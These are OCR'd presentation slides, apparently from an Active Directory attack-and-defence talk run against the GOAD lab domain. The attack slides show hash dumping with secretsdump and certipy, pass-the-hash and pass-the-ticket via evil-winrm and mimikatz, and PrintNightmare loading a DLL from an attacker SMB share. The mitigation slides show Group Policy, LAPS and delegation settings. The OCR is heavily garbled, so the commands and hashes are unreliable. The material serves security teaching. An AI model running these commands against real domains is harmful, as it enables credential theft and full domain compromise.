DefaultAccount:503:aad3b435b51404eeaad3bd3sb51404ee:31d6cTefd16ae931b73c59d7eBco8!
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:4363b6dcBc95588964884d7e 1
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:202bc503339d51F71d913c245d35b50b: & :
_ VMware Conv _SA  :1002:a3ad3b435b51404eeaad3b435b51404ee:11796cT28d937b9541aecket
[*] Dumping cached domain logon information (domain/username:hash)
MORTH.SEVENKINGDOMS . LOCAL /s q-L_E ve:$DCC24%10240#s q-L_E vC#B9e701ebbd305e415380c515040:
NORTH.SEVENKINGDOMS .LOCAL /robb.stark:$DCC2410240#robb.stark#f19bfbobi1ebagsz23f2e28b’



__ - X X X X HIGHSCORE Z=@0 Y F_C0VER

UM PRHTH RHTTRCRS

& SECRETS DUMP

AW R E R B R @ W TemT o R B e R W T B TR B e Rl Temr W O e et B et im0 et 0 T e Taml el el st Bmi 0 et et B et mim 0 WS 0 Tew e N e e o Rl o Tew W T Tas e mie i Tanl el e e Tmst Tes el el B e o S e e m el 8

[*] DPAPI STSTEH
dpapi machinekey:0x366d1c3b855f29e1508dc290c717ed9b50033720
dpapi_userkey:0xfc03a3fdfel19e27d01dobeb7a6759879d2b46c57

[*] NLSKM

Qeeoe 22 34 01 76 01 70 30 93 88 A7 6B B2 87 43 59 69 "qd.v. pH k. ETi
Ee16 GE 41 BD 22 BA OC CC 23 3A 5B B6 74 CB 90 D6 35 A" # [.t.
0020 14 CA D8 45 4A FO DB 72 D5 CF 3B Al ED 7F 3A 98 EJ .;...:.
Be30 CD 4D D6 36 6A 35 24 2D AOG EB OF 8E 3F 52 81 C9 H 6] 5$—....?H

NL $KM: 223491?531?93993333?5hh23?4359593&41thEHHHEEE23335th?4EhQHd53514E3d34543f[
[*] SC MSSQL$SQLEXPRESS

north.sevenkingdoms.localisgl svc:YouWillNotKerboroastlngMeeeeee

L*] Lileaning up...

[*] Stopping service RemoteRegistry
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ONM PRHTH RTTHCK

- Group Policy Management Editor

& _L_HMHF i

Action  Wiew

Help

nderfitigations [WIN A

Z_omputer Configuration

DMS Client

Policies Turn off multicast name resolution  5etting State

ettings
Settings

Administrative Te

Control Panel
work
Backgrour
BranchCa
Directfcce
DME Clien
Fonts
Hotspot A
Lanman %
Lanman W
Link-Layer
Microsoft

CoS5 Packe o

>

Fequirements:
At least Windows Vista

Description:

Specifies that link local multicast
name resolution (LLMME] i
disabled on client computers,

LLMMR is a secendary name
resolution protocol. With LLMMNE,
queries are sent using multicast
ower a local network link on a
single subnet from a client
computer to ancther client
computer on the same subnet
that also has LLMNR enabled.
does not require a DNS
M5 client configuration,

possible,

Extended A Standard /

_ n =] Prirnary DMS suffix
it == : iZ| Turn off IDM encoding

i| Update top

volution level

i IDN rmapping
i| DMS servers
Prefer link local responses over DNS when received over a ..,
i) Primary DM5

iZ| Register DN5 records with connection-specific DMNS suffix
iz| Register PTR records

iz| Dynamic update

iZ| Replace addresses in conflicts

iZ| Registration refresh interval

iz| TTL value for A and PTR records

DMS suffix search list

iz| Turn off smart multi-homed name resclution
iZ| Turn off smart protocoel reordering

iz| Update security level

domain zones
rmary DMS su volution

Turn off multicast name resolution

Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured
Mot configured

Mot configured




BN AN HIGHSCORE ==00 Y. F_AVER S

h

UM PRHTH RHTTRCRS

Group Policy Management Editor

* H T I_ H Il.ll E File Action View Help

v (A Computer Configuration ~ || pglicy Policy Setting
v Palici

Microsoft network server: Disconnect clients when legon ho... Mot Defined

Microsoft network server: Server 5PN target name validation... Mot Defined

rous 510/ Mame translation Mot Defined

o not allow anonymous enumeration of 5. Mot Defined

5 Do not allow anonymous enumeration of 5. Mot Defined

5 Do not allow storage of passwords and cre., Mot Defined

=2 Account P Let Everyone permissions apply to anenym... Mot Defined
Local Palic Metwork access: Mamed Pipes that can be accessed anonym... Mot Defined
3 Audit | Metwork access: Remotely accessible registry paths Mot Defined
_J User Ri i . Remotely accessible registry paths and sub... Mot Defined
7 Securit - testrict anonymous access to Named Pipes... Mot Defined

| Eventlog CiC testrict clients allowed to make remote call... Mot Defined
stricted i acc Shares that can be accessed anonymously Mot Defined

ork 251 Sharing and security model for local accou., Mot Defined

Metwork security: Allow Local Systern to use computer ident... Mot Defined
Metwork security: Allow LocalSystemn MULL session fallback Mot Defined
v PKUZU authentication requests to t... Mot Defined

: security: Configure encryption types allowed for Ke... Mot Defined

Metwork security: Do not store LAN Manager hash value on ... Mot Defined

Metwork security: Force logeff when logon hours expire Mot Defined

Public
c I_Jﬂ_ I Metwork security: LAN Manager authentication level Send NTLMw2 response only. Re...

etwork security: LDAP client signing requirements Mot Defined

Ml etisenrk cernirite Minimnnrm ceccinn cecnrite far KT B S50 Mt Mefined
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UM PRHTH RHTTRCRS

P HT_HMUE

work secunty: Bestrict NTLM: Add remote server exceptions for NTLM authe...
vark security: Restrict NTLM: Add server exceptions in this demain
etwork security: Restrict NTLM: Audit Incorming NTLM Traffic

work security: Restrict NTLM: Audit NTLM authentication in this domain
work security: Bestrict NTLM: Inceming NTLM traffic

etwork security: Restrict NTLM: NTLM authentication in this demain
vark security: Restrict NTLM: Cutgoing NTLM traffic to remote servers
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ONM PRTH

* LOOE SIGHIMHG [ Group Policy Management Editor

File Action View

% CHAMNKEL EINDIMG

HIGH=_ORFE

HElFl

I_|:|

h

v i Computer Configuration A | Palicy

acal Polit
J Auditf
:_5 Uzer Ri
7 Securit

= Eventlo g

Public Key

| Software b ¥

»

Audit: Shut down system immediately if unable to log security audits

Security Descriptor Definition Language ...

estrictions in Security Descriptor Definition Language...

st Allow undock without having to log on
ces: Allowed to format and eject removable media
: Prevent users from installing printer drivers

:: Restrict CO-ROM access to locally logged-on user only

Dornain member: Digitally

Domain membern Digitally encrypt secure channel data (when possible)
Domain member: Digitally sign secure channel data (when possible)
Dornain memben Disable machine account password changes

Domain member: Maximum machine account
Domain memben Regquire strong (Windoy ar later) session key

Interactiv 1 Display user information when the session is locked

Interactive logon: Do not require CTRL+ ALT+DEL

Y. F_SYER

Policy Setting
Mot Defined
Mot Defined
Mot Defined
Mot Defined
Mot Defined
Mot Defined
Mot Defined
Mot Defined
Mot Defined
Mot Defined

Always

Require signing

Mot Defined
Mot Defined
Mot Defined
Mot Defined
Mot Defined
Mot Defined
Mot Defined
Mot Defined
Mot Defined

>

[ =
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UM PRHTH RHTTRCRS

Protected Users Properties

% PROTECTED USERES SROUP

General Members  Member Of Managed By
Members:

MName Active Directory Domain Services Folder

¥ eddard stark north sevenkingdoms local /Users
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ELQQDHQUND

% PATH TO DOMAIN ADMIM
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ELQQDHQUND

® PATH TO DOMAIN ADMIM

DAL AGRAIMEE NORTH. SEVERKINCDOME LOCAL
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H_LL MODIFICHTION

P WRITEDACL

I:h WriteDacl e_ GPLink @
{ & & & & B B B 0 B B B R R B 0 B B B 0 °BR 0B R B B 0 0 B B B B O R B B B B ° B B B B B B OB

o \ WA : ! “ﬁ J( -:__'; i1 - 5 : 0 "I;r | -:-
SAMWELL. TARLY@NORTH.SEVENKINGDOMS.LOCAL STARKWALLPAPER@NORTH.SEVENKINGDOMS LOCAL e
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H_LL MODIFICHTION

P WRITEDACL

= Group Policy Management

i Forest: sevenkingdoms.loc|

GMains

¢ 23 north.sevenkingdor|
Default Domain

StarkWallpaper

| Domain Contro|

Group Policy O}

7 WMI Filters
5] Starter GPOs
|;—_.! Sites

sri Group Policy Modeling|

¢ froup Policy Results

HIGH=_ORFE

2] File Action View Window

i

= Group Policy Management

| starkWallpaper

Scope Details Settings Delegation

i

=

These groups and users have the specified pemission for this GPO

Groups and users:
Name

82 Athenticated Lisers
82 Domain Admins

IBTHDomain A...

42 Enterprise Adm WENKINGDO. ..
42 ENTERPRISE DOMAIN CONTROL...
L samwell tardy (NORTH samwell tary)

i Wagrant (NORTH"wagrant)

Allowed Permissions
Read {from Securty Filterng)
Edit settings,
Edit settings,
iead
Edit settings, del
Edit settings,
Edit settings,

Properties

Inherted
Mo
Mo
Mo
Mo
Mo
Mo
Mo

Y. F_SYER

[ =
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HCL MODIFICHT

StarkWallpaper Securnty Settings

P WRITEDACL

Security
EFEIUIZI ar user names:

MR Authenticated Users
S8 SYSTEM
-
& Vagrant

a samwell tarly

$2 Domain Admins (NORTH\Domain Admins)

>

Add... Bemove

Pemissions for samwell tary Allow

Full contral
Read
WWrite

Create all child objects
Delete all child objects

For special pemissions or advanced settings, Advanced
click Advanced. SR
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H_LL MODIFICHTION

P WRITEDACL

Principal:  samwell.tarly 5elect a principal
Type: Allow

Appliesto: | This object and all descendant objects

Permissions:
[ ] Full control
List contents
Read all properties
Write all properties
Delete
[ ] Delete subtree
Read permissions
Modify permissions
Modify owner
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H_LL MODIFICHTION

Logon Properties

& _0O30HM SCRIPT

Scripts  PowerShell Scripts

Logon Scripts for StarkWallpaper

Mame Farameters

Edit...

Remove

To view the script files stored in this Group Paolicy Object, press
the button below.

Show Files. .

Cancel
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H_LL MODIFICHTION

P HITIGATIOHN

StarkWallpaper StarkWallpaper

Scope Details Settings Delegation Scope Details Settings Delegation
These groups and users have the specified pemission far this GPO Domain: notth sevenkingdoms Jocal
Groups and users:

oy Owner: Yagrant (NORTH vagrant)
Mame Allowed Pemissions Inhented

42 Autherticated Users Read ffrom Security Fitering) Mo Created: /6/2024 3:26:28
42 Domain Admins (NORTH Domai... Edit settings, delete, modify security Mo
%2 Enterprise Admins (SEVENKING... Edit settings, delete, modify security Mo
%2 ENTERPRISE DOMAIN CONTR... Read Mo
 Nsamwell tary (NORTH \samwell ...

Modified: F22 2024 24723 FM

User version: 4 (AD), 4 (SY5VOL)

52 SYSTEM Edit settings, delete, modify security Computer version: 1(AD), 1(SYSVOL)
;r_ . Vagrant (NORTHwagrant) Edit settings,

Unigque 1D: 5 485 A- ATCTODEBD)
GPO Status: Enabled

Comment: Change Wallpaper

Remove Properties Advanced...
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PRESS THE HR=H

[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.56.22:445 ... OK

[*] Service Hemnteﬂeglﬁtry 1s 1n stopped state

[*#] Starting service RemoteRegistry

[#1 Taroet svstem bootKev: 0x3b62628f8a5afedda3agl1188ffcense

[ *] Dumping local SAM hashes  uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51104eeaad3b43sb51404ee:dbd13elc4e338284ac4e087417debe
Guest:501:aadib43sb51404eeaad3ib43sb51404ee:31d6cTefd16ae931b73c59d7e0cB89¢B: ;:
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfefd16ae931b73c59d7e0c08¢
WDAGUtilityAccount:504:aad3b435b51404eeaad3ib435b51404ee:4363b6dc0c95588964884d7e 14
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:202bc503339d51171d913c245d35b50b: : :
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PRESS THE HR=H

[proxychains] Strict chatn J2.168.56.22:445 ... OK
[*] Service Hemuteﬂeglﬁtry 3

(%] Starting service Remot

[#]1 Taraget svstem huntﬁev o fcefB8e

[*] Dumping local SAM hash \ g %&1;
Administrator:5600: aadEthi__##f' I

Guest:501:aad3b435b514b4ee 2031b73c59d7e0cB89cO: : :

DefaultAccount:503:aad3b4:3 ! 5cTefd16ae931b73c59d7eBcB8!
WDAGUtilityAccount:504: aac :4363b6dcBc95588964884d7e 11
vagrant:1000:aad3b435b514c 39d51f71d913c245d35b56b: : :

THAT MUCH

Jelcde338284acde9874f7defe-
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PRESS THE HR=H

[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.56.22:445 ... OK

[*] Service Hemnteﬂeglﬁtry 1s 1n stopped state

[*#] Starting service RemoteRegistry

[#1 Taroet svstem bootKev: 0x3b62628f8a5afedda3agl1188ffcense

[ *] Dumping local SAM hashes  uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51104eeaad3b43sb51404ee:dbd13elc4e338284ac4e087417debe
Guest:501:aadib43sb51404eeaad3ib43sb51404ee:31d6cTefd16ae931b73c59d7e0cB89¢B: ;:
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfefd16ae931b73c59d7e0c08¢
WDAGUtilityAccount:504:aad3b435b51404eeaad3ib435b51404ee:4363b6dc0c95588964884d7e 14
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:202bc503339d51171d913c245d35b50b: : :
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s
SMB
sMB
SMB
sMB
SMB
sMB

192.
192.
192.
192.
192.
192.

56 .
o6 .
ob.
]
o6 .
o6 .

22
16
11
22
10
11

445 CASTELBLACK [*]
445 KINGSLANDING [*]
445 WINTERFELL [*]
445 CASTELBLACK [+]
445 KINGSLANDING [-]
445 WINTERFELL [+]

|_—i kalis kali)-[~/GOAD ]
%

HIGH=_"ORE ==00 Y s F_AYER =

PRESS THE HR=H

(kalis kali)-[~/GOAD]
crackmapexec smb 192.168.56.108-23 -u Administrator -H 'dbdl3elc4e338284ac4e9874f7debefd’
168.
168.
168.
168.
168.
168.

Windows 10.8 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) [Elgr
Windows 10.08 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:’
Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (sign
north.sevenkingdoms.local\Administrator:dbdil3elc4e338284ac4e9874f7de6efd (Pwn3d!)
sevenkingdoms . local\Administrator:dbdi13elc4e338284ac4e9874f7de6ef4 STATUS LOGON FAILURE
north.sevenkingdoms.local\Administrator:dbd13elc4e338284ac4e9874f7de6efd (Pwn3d!)

evil-winrm -1 192.168.56.11 -u Administrator -H 'dbdi3elcde338284acde9874f7de6efd’

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting detection

Data: For more information,

check Evil-WinRM GitHub: https://github.com/Hackplayers/ev

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Ad
northyadministrator

ministrator\Documents> whoami
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& _oCAL ADHMIMISETRATOR PASSWORD SOLUTIOHN

File Action

Setting State Comment
Mo
Mo
No
Enable pas M { Mo
Enable passwo L Mat configured Mo
Mo
Mo

MNo

e MCCEss

ount Manager

Extended /A Standard
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DELEGHTION

% DE_EGATION = IMPERSOMATIOHN

\.

e
=

/ Web Server\

I.'_‘l
o .--"
e

B SR

User's Workstation Database Server
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DELEGHTION

* HMIMIEATS mimikatz # sekurlsa::tickets /export

Authentication Id : © ; 4894285 (006600000 :06064aaedd)

Session : Network from @

User MName : brandon

Domain : NORTH

Logon Serwver : (null)

Logon Time : 7/9/2824 12:59:42 PM

SID P 5-1-5-21-2127814747-1574567255-38735798916-1684

* Username : brandon

* Domain : NORTH.SEVENKINGDOMS . LOCAL
* Password : (null)

Group @ - Ticket Granting Service
Group 1 - Client Ticket ?

Group 2 - Ticket Granting Ticket
[ 66688660 |
Start/End/MaxRenew: 7/9/2024 12:59:42 PM ; 7/9/2024 10:59:42 PM ; 7/16/20624 12:59:42 PM
Service MName (©2) : krbtgt ; NORTH.SEVENKINGDOMS.LOCAL ; @ NORTH.SEVENKINGDOMS.LOCAL
Target Name (--) : @ NORTH.SEVENKINGDOMS.LOCAL
Client Mame (©1) : brandon ; (@ NORTH.SEVENKINGDOMS.LOCAL

Flags 68ale6ot : name_canonicalize ; pre_ authent ; renewable ; forwarded ; forwardable

session Key . BxP0Bee812 - aes256 hmac
2EEhEdE3??394E32434hEFE515dE5535435341EEEEEEhEﬂSQEE?E?ElEQFEEh??

Ticket : BxBeBeeBl2 - aes256 hmac ; kvno = 2 =] |

* Saved to file [6;4aaedd]-2-6-68a18666-brandongkrbtgt-NORTH.SEVENKINGDOMS . LOCAL .kirbi !
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FRES THE TICKET

P MIMIEATZ mimikatz # kerberos::ptt c:\usersi\vagrant\desktop\malware\mimikatz_ trunk\x64\
[6;4aaedd]-2-0-60a10600-brandongkrbtgt-NORTH. SEVENKINGDOMS . LOCAL . kirbi

* File: "c:\users\vagranth\desktop\malware\mimikatz trunk\x64\[6;4aaedd]-2-8-6
Baleeee-brandongkrbtgt-NORTH. SEVENKINGDOMS . LOCAL .kirbi": OK

PS C:\Windows\system32> klist tickets
Current LogonId is @:8x6c513
Cached Tickets: (1)

#8> Client: brandon @ NORTH.SEVENKINGDOMS.LOCAL
Server: krbtgt/NORTH.SEVENKINGDOMS.LOCAL @ NORTH.SEVENKIMNGDOMS.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHAl-96
Ticket Flags @x6@al@d@ed -> forwardable forwarded renewable pre_authent name_canonicalize
Start Time: 7/9/2824 12:59:42 (local)
End Time: 7/9/2824 22:59:42 (local)
Renew Time: 7/716/2824 12:59:42 (local)
Session Key Type: AES-256-CTS-HMAC-SHAL-96
Cache Flags: @xl1 -> PRIMARY
Kdc Called:
PS5 C:\Windows‘\system32> Enter-PSS5ession winterfell.north.sevenkingdoms.local
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FRES THE TICKET

& HMIMIKATZ

[winterfell.north.sevenkingdoms.local]l: PS C:\Usersi\brandon\Documents?> whoami
northybrandon
[winterfell.north.sevenkingdoms.local]l: PS5 C:\Users\brandon\Documents?» dir C:‘\Windows\SYSWVOL"

Directory: C:\Windows\SYSVOL

Mode LastWriteTime Length MName

d----- L/6/2824  2:83 PM domain

d----- L/e/2824  1:57 PM staging
d----- 5/6/2824 1:57 PM staging areas

d----- 5/6/2824 1:57 PM syswvol
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___ BB 3 8 8 8 ; HIGHSCORE 250

CASTELELACK Properties

Location Managed By Object Security Dialdn Attribute Editor

General Operating System Member Cf Delegation Password Replication

Delegation is a securty-sensitive operation, which allows services to act on

® UNCORNETRAIMED > CORSTRAIMED pehalf of ancther user

() Do not trust this computer for delegation

(@) Trust this computer for delegation to any service (Kerberos only)

() Trust this computer for delegation to specified services only

Service N

Service Type  Lser or Computer

[ ] Expanded
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DELEGHTION

P ACCOUNT IS SEMSITIVE

HIGH=_ORFE

yginolo Y s F_AYVER

brandon Properties
Published Cerificates  Member Of  Password Replication  Dialin ~ Object

Security Environment . ns Remote caontral

Attribute Editor

Organization

Remote Desktop Services Profile COM=

Address = Accourt  Profile  Telephones

User logon name:
brandon @north sevenkingdoms local

User logon name (pre-Windows 2000):

MORTH" brandon

Logon Hours... Log On To...

I:l Unlock account

Account options:

[] Account is disabled

[] Smart card is required for interactive logon

[«] Account is sensitive and cannot be delegated

[] Use only Kerberos DES encryption types for this account
Accourt expires

(@) Never

'3:::3' End of:

[ =
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DELEGHTION

& MO MORPE TST

* Username : brandon
* Domain : NORTH.SEVENKINGDOMS . LOCAL
* Password : (null)

Group @ - Ticket Granting Service
Group 1 - Client Ticket ?

Group 2 - Ticket Granting Ticket
EEEEEEER)
Start/End/MaxRenew: 7/9/28624 12:59:42 P
Service MName (82) : krbtgt ; NORTH.SEVE
Target Name (--) : {@ NORTH.SEVENKINGDO
Client Name (©1) : brandon ; @ NORTH.S

Flags ©8aleboo : name_canonicalize ;
Session Key . BxBeoeel12 - aesihe

2EchEdEB??3945aEdEdhﬁFaElEdeEEEE#EEad
Ticket . BxBee68812 - aes?ho

* Saved to file [©;4a3aedd]-2-6-68a16660

P_AYER =
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DELEGHTION

& MO MORPE TST

* Username : brandon * Username : brandon
* Domain : NORTH.SEVENKINGDOMS . LOCAL * Domain : NORTH.SEVENKINGDOMS . LOCAL
* Password : (null) * Password : (null)

Group @ - Ticket Granting Service Group ® - Ticket Granting Service

Group 1 - Client Ticket ? Group 1 - Client Ticket 2

Group 2 - Ticket Granting Ticket

Group 2 - Ticket Granting Ticket
EEEEEEER)
Start/End/MaxRenew: 7/9/28624 12:59:42 P
Service MName (82) : krbtgt ; NORTH.SEVE
Target Name (--) : {@ NORTH.SEVENKINGDO
Client Name (©1) : brandon ; @ NORTH.S

Flags ©8aleboo : name_canonicalize ;
Session Key . BxBeoeel12 - aesihe

2EcbEdEB??3945aEﬂEdhﬁFaElEdeEEEEﬂEEad
Ticket . BxBee68812 - aes?ho

* Saved to file [©;4a3aedd]-2-6-68a16660
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FRINTNIGHTMRRE

4 JU_HNERAELE™

—i{kalis kali)-[~/GOAD ]

% crackmapexec smb 192.168.56.11 -M spooler

SMB 192.168.56.11 445 WINTERFELL [*] Windows 18.08 Build 1
SPOOLER 192.168.56.11 445 WINTERFELL Spooler service enabled

—i(kalis kal1)-[~/GOAD]

—4 impacket-rpcdump @192.168.56.11 | egrep 'MS-RPREN|MS-PAR'
Protocol: [MS5-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPEN]: Print System Remote Protocol
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FRINTNIGHTMRRE

& EXNPLOIT

—(kalis kali)-[~/GOAD ]
—4 impacket-smbserver -smb2support attack .
Impacket v0.10.8 - Copyright 2022 SecureAuth Corporation

[:—ikaliﬁ kali)-[~/GOAD ]
% python2 printnightmare/CVE-2021-1675.py north/hodor:hodor@19z.168.56.11 '\\192.168.56.100\attack\nightmare.dll"

[*] Connecting to ncacn_np:192.168.56.11[\PIPE\spoolss]

[+] Bind OK

[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64 18bod38ddfaee729%\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\192.168.56.108\attack\nightmare.dll

[*] Try 1...

[*] Stageb: O

[*] Stage2: O

[+] Exploit Completed
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FRINTHNI 'HHI:ll:!E

& PEOFIT B

.--i'tl'lt e Editor
General J . elephones COrganization
Published Certficates ~ Member Of S55W0 eplicatio Dialin ~ Object

Member of

Mame Active Directory Domain Services Folder

M'rrlstrin‘.urs nﬂrmseverkrudomsbcdﬂh

Domain Users north sevenkingdoms

Remove

Primary group: Domain Lsers
oup unless

you have :". ompliant
applications
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FRINTHNIG HTHI:II:!E

Print Spocler Properties (Local Computer)

PFI-IT!

General Log On Recovery Dependencies

Service name: el

Display name: Print Spoaler

Description: This service spools print jobs and handles interaction A, (kali= kali)- LNHGDADJ
e Pt o 0u um off tis service. youwont I—_,. crackmapexec smb 192.168.56.11 -M spooler
Path to excoutable: SMB 102.168.56.11 445  WINTERFELL [+] Windows
C:\Windows\System 32\spoolsv exe
— (kalis kali)-[~/GOAD]
S A | | impacket-rpcdump @192.168.56.11 | egrep 'MS-RPRN|MS-PAR'

I_—nl-:allu kali)-[~/GOAD ]

Service status:  Stopped

You can specify the start parameters that apply when you start the service
from here.

Cancel
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HDCS

% FIMD YWJ_HERAELE COMFIGURATIOMNE

(kalis kali)-[~/GOAD/petitpotam]
[
$ certipy find -u brandon@sevenkingdoms.local -p 'rocks' -vulnerable -dc-ip 192.168.56.10 -stdout
Certipy v4.8.2 - by 0liver Lyak (lydk)

[*] Finding certificate templates

[*] Found 34 certificate templates

[*] Finding certificate authorities

[*] Found 1 certificate authority

[*] Found 12 enabled certificate templates

[*] Trying to get CA configuration for 'SEVENKINGDOMS-CA' wia CSRA

[!] Got error while trying to get CA configuration for 'SEVENKINGDOMS-CA' wia CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied
[*] Trying to get CA configuration for 'SEVENKINGDOMS-CA' wia RRP

[*] Got CA configuration for 'SEVENKINGDOMS-CA'

[*] Enumeration output:
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HDCS

Certificate Templates
]

Template Name
Display Name
Certificate Authorities
Enabled
Client Authentication
Enrollment Agent
Any Purpose
Enrollee Supplies Subject
Certificate Name Flag
Enrollment Flag
Extended Key Usage
Requires Manager Approval
Requires Key Archival
Authorized Signatures Required
Validity Period
Renewal Period
Minimum RSA Key Length
Permissions
Enrollment Permissions
Enrollment Rights
Object Control Permissions
Owner
Full Control Principals

Write Owner Principals

Write Dacl Principals

Write Property Principals

[1] wWulnerabilities
ESC1

ESC1
ESC1

HIGH=_"ORE ==00

SEVENKINGDOMS-CA

: True
: True

False
False

: True

EnrolleeSuppliesSubject

None

Client Authentication

False
False

]

1 year
6 weeks
2848

SEVENKINGDOMS.

SEVENKINGDOMS.
SEVENKINGDOMS.

SEVENKINGDOMS
SEVENKINGDOMS
SEVENKINGDOMS

SEVENKINGDOMS .

SEVENKINGDOMS

SEVENKINGDOMS .
SEVENKINGDOMS .
SEVENKINGDOMS .
SEVENKINGDOMS .
SEVENKINGDOMS.
SEVENKINGDOMS .

LOCAL\Domain Users

LOCAL\Enterprise Admins
LOCAL\Domain Admins
.LOCALYLocal System
.LOCAL\Enterprise Admins
.LOCAL\Domain Admins
LOCALA\Local System
.LOCAL\Enterprise Admins
LOCAL\Domain Admins
LOCALA\Local System
LOCAL\Enterprise Admins
LOCAL\Domain Admins
LOCAL\Local System
LOCAL\Enterprise Admins

Y. F_SYER

' SEVENKINGDOMS .LOCAL\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

=
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HDCS

& E=C1 Certificate Templates
G
Template Name : ESC1
Display Name : ESC1
Certificate Authorities : SEVENKINGDOMS-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False

Enrollee Supplies Subject . True

ertiticate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : None
Extended Key Usage : Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1 year
Renewal Period : 6 weeks

Minimum RSA Key Length : 2048
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HDCS

% E=C1

Permiss 1ons

Full Control Principals

Write Owner Principals

Write Dacl Principals

Write Property Principals

[!] Vulnerabilities
ESC1

: SEVENKINGDOMS .LOCALADomain Users

HIGH=_"ORE ==00 Y s F_AYER =

SEVENKINGDOMS .LOCAL\Enterprise Admins
SEVENKINGDOMS.LOCAL\Domain Admins
SEVENKINGDOMS.LOCALALocal System
SEVENKINGDOMS .LOCAL\Enterprise Admins
SEVENKINGDOMS.LOCAL\Domain Admins
SEVENKINGDOMS.LOCAL\Local System
SEVENKINGDOMS.LOCALMEnterprise Admins
SEVENKINGDOMS .LOCAL\Domain Admins
SEVENKINGDOMS.LOCALALocal System
SEVENKINGDOMS .LOCAL\Enterprise Admins
SEVENKINGDOMS.LOCAL\Domain Admins
SEVENKINGDOMS.LOCALALocal System
SEVENKINGDOMS.LOCALMEnterprise Admins

' SEVENKINGDOMS .LOCALV\Domain Users' can enroll,
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HDCS

% RPECUEST CERTIFICATE

|_—$I. |"-'.E]-|. 15 kall}—[f'ﬂ]

certipy req -u brandon@sevenkingdoms. lg o rocks' _target kingslanding.sevenkingdoms.local -template ESC1

-ca SEVENKINGDOMS-CA -upn administrator@sevenkingdoms.local

Certipy v4.8.2 - by OUIWET LVe e

[!] Failed to resolve: SEVENKINGDOMS.LOCAL
[*] Requesting certificate via RPC

[*] Successfully requested certificate

[*] Request ID 1s 5
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HDCS

4 AUTHEWTICATE TO AD

[:—ikaliﬁ kali)-[~/GOAD/petitpotam]
% certipy auth -pfx administrator.pfx -dc-ip 192.168.56.10
Certipy v4.8.2 - by 0liver Lyak (lydk)

] Using principal: administrator@sevenkingdoms.local

] Trying to get TGT...

] Got TGT

[*] Saved credential cache to 'administrator.ccache’

[*] Trying to retrieve NT hash for 'administrator'

[*] Got hash for 'administrator@sevenkingdoms.local': aad3b435b51404ecaad3b435b51404ee:c66d72021a2d4744409969a581a1705¢
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HDCS

4 DUMP THE SECEETSE

[:—ikaliﬁ kali)-[~/GOAD/petitpotam]
% impacket-secretsdump -hashes :c66d72021a2d4744409969a581a1705e -no-pass sevenkingdoms.localy/'administrator@kingslanding.sevenkingdoms.local'

Impacket v0.10.8 - Copyright 2022 SecureAuth Corporation

[*] Service RemoteRegistry is in stopped state

[*] Starting service RemoteRegistry

[*] Target system bootKey: 0x42c926adcf82d16547a37948e646455F

[*] Dumping local SAM hashes (uid:rid:1mhash:nthash)
Administrator:500:aad3b435b51404eeaadib435b51404ee:c66d72021a2d4744409969a581a1765e: ¢ :
Guest:501:aad3b43s5bs51404eeaad3b435b51404ee:31d6cTefd16a2931b73c59d7e0c089cO: : :
DefaultAccount:503:aad3b435b51404eeaad3b43sbh51404ee:31d6ctefd16ae931b73c59d7eBcB89cO: ; ;
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HDCS

4 DUMP THE SECEETSE

[*] Dumping Domain Credentials (domain\uid:rid:1lmhash:nthash)

[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d7202122d4744409969a581a1705e: 1 :
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfefd16a2931b73c59d720c089cO: @ :
krbtgt:502:aad3b435b51404eeaad3b435b51404ee: f155878abf612T2c74119cdceab38598: : :
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51F71d913c245d35b56b: 1 :
tywin.lannister:1112:aad3b435b51404eeaad3b435b51404ee:af52e92c3471788111a6308abff2e9b7:
jaime.lannister:1113:aad3b435b51404eeaad3b435b51404ee:12e3795b7dedb3bb741f222869616080: : ;
cersei.lannister:1114:aad3b435b51404eeaad3b435b51404ee:c247f62516b53893c7addcf8c349954b:
tyron.lannister:1115:aad3b435b51404eeaad3b435b51404ee:b3b371717d51b37fb3251727d0482998: : ;
robert.baratheon:1116:aad3b435b51404eeaad3b435b51404ee:9029cf007326107eb1c519c84ea60dbe: ::
joffrey.baratheon:1117:aad3b435b51404eeaad3b435b51404ee:3b60abbc25770511334b3829866b0ST1: 1 :
renly.baratheon:1118:a3ad3b435b514084eeaad3b435b51404ee: 1e9ed4fc99088768ced631acfcd49bece:
stannis.baratheon:1119:aad3b435b51404eecaad3b435b51404ee:d75b9fdf23c0d9a6549cff9edbed89cd: ::
petyer.baelish:11208:a3ad3b435b51404eeaad3b435b51404ee:6c439actal21a821552568b086c8d210: : ;
lord.varys:1121:aad3b435b51404eeaad3b435b51404ee:52Ff2a79823d81d6a3f4f8261d7acc59: ::
maester.pycelle:1122:a3ad3b435b51404eeaad3b435b51404ee:9a2a96Ta3bab564e755e8d455c007952: : :
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HDCS
